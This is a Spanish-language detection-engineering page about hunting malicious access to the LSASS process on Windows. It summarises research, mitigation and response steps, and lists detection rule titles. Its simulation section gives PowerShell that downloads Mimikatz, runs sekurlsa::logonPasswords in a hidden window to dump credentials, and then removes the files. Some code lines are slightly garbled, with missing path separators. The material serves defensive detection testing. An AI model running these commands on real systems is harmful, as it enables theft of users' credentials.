Cazando Accesos Maliciosos a LSASS en Entornos Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo describe cómo los adversarios extraen credenciales accediendo al proceso LSASS con herramientas como Mimikatz y Cobalt Strike. Cubre las típicas llamadas a la API de Windows, DLLs y derechos de acceso involucrados en el volcado de memoria LSASS. Los autores comparten consultas de detección actualizadas para Sysmon y otras plataformas EDR, con énfasis en fortalecer la cobertura de detección del robo de credenciales.
Investigación
El equipo de investigación de amenazas de Splunk emuló el acceso a LSASS utilizando Atomic Red Team, Mimikatz, Invoke-Mimikatz y Cobalt Strike. Capturaron telemetría de Sysmon que muestra cargas de DLL (dbgcore.dll, dbghelp.dll, ntdll.dll) y valores característicos de GrantedAccess. Este conjunto de datos se aprovechó luego para ajustar las consultas de detección que correlacionan la información de CallTrace con derechos de acceso específicos.
Mitigación
Ajuste las políticas de Sysmon o EDR para registrar eventos de ProcessAccess contra lsass.exe, aplicando filtros en DLLs conocidas y derechos de acceso relevantes mientras se incluyen en lista blanca procesos de sistema de confianza. Use las consultas proporcionadas para generar alertas sobre patrones sospechosos de acceso a LSASS. Revise y refine continuamente estas reglas a medida que surjan nuevas herramientas y técnicas.
Respuesta
Cuando se dispara una detección, valide el proceso de origen, el contexto de usuario asociado y las DLLs involucradas en el acceso a LSASS. Aísle el punto final afectado, capture la memoria para un análisis forense más profundo y evalúe la evidencia de robo de credenciales. Examine el árbol de procesos para distinguir utilidades administrativas legítimas de actividad indicativa de un atacante.
Flujo de Ataque
Todavía estamos actualizando esta parte. Regístrese para ser notificado
NotifícameDetecciones
HackTool – Acceso Genérico a Procesos
Ver
Carga Sospechosa de DLLs Dbgcore/Dbghelp desde Ubicación Inusual
Ver
Acceso a Procesos Sospechoso a LSASS con DLLs Dbgcore/Dbghelp
Ver
Detectar Robo de Credenciales de LSASS mediante Acceso a Procesos [Windows Sysmon]
Ver
Ejecución de Simulación
Requisito previo: La Verificación Pre-vuelo de Telemetría y Línea Base debe haber pasado.
Fundamento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un atacante ha conseguido derechos de administrador local en el host de la víctima y desea cosechar credenciales para movimiento lateral. Copian la herramienta de código abierto Mimikatz a la máquina, elevan el proceso a privilegio DEBUG e invocan el módulosekurlsa::logonPasswords, que lee la memoria LSASS mediante llamadas nativas a la API que atraviesanntdll.dll. Sysmon registra esto como un evento ProcessAccess con varias flags deGrantedAccessde alto privilegio (por ejemplo,0x0010,0x1400,0x1fffff). El atacante ejecuta la herramienta desde una sesión oculta de PowerShell para evitar la exposición en la interfaz de usuario.# 1. Depositar binario de Mimikatz en %TEMP%
$mkPath = "$env:TEMPmimikatz.exe"
nInvoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip"
-OutFile "$env:TEMPmk.zip"nExpand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force
Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Forcen
# 2. Ejecutar Mimikatz con comandos de volcado de credenciales
Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait -
Script de Prueba de Regresión:
# ----------------------------------------------------------------------
# Simulación de Robo de Credenciales de LSASS – activa regla Sigma #4e0789a0…
# ----------------------------------------------------------------------
# Depositar Mimikatz (si no está ya presente)
$mkPath = "$env:TEMPmimikatz.exe"
if (-Not (Test-Path $mkPath)) {
$zip = "$env:TEMPmk.zip"
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
Remove-Item $zip -Force
}
# Ejecutar Mimikatz para robar credenciales de LSASS
$args = 'privilege::debug sekurlsa::logonPasswords exit'
Write-Host "[+] Ejecutando Mimikatz para robar LSASS..."
Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
Write-Host "[+] Ejecución de Mimikatz completada."
# ---------------------------------------------------------------------- -
Comandos de Limpieza:
# Eliminar binario de Mimikatz y cualquier archivo residual
$mkPath = "$env:TEMPmimikatz.exe"
if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
$folder = "$env:TEMPmimikatz"
if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
Write-Host "Limpieza completada."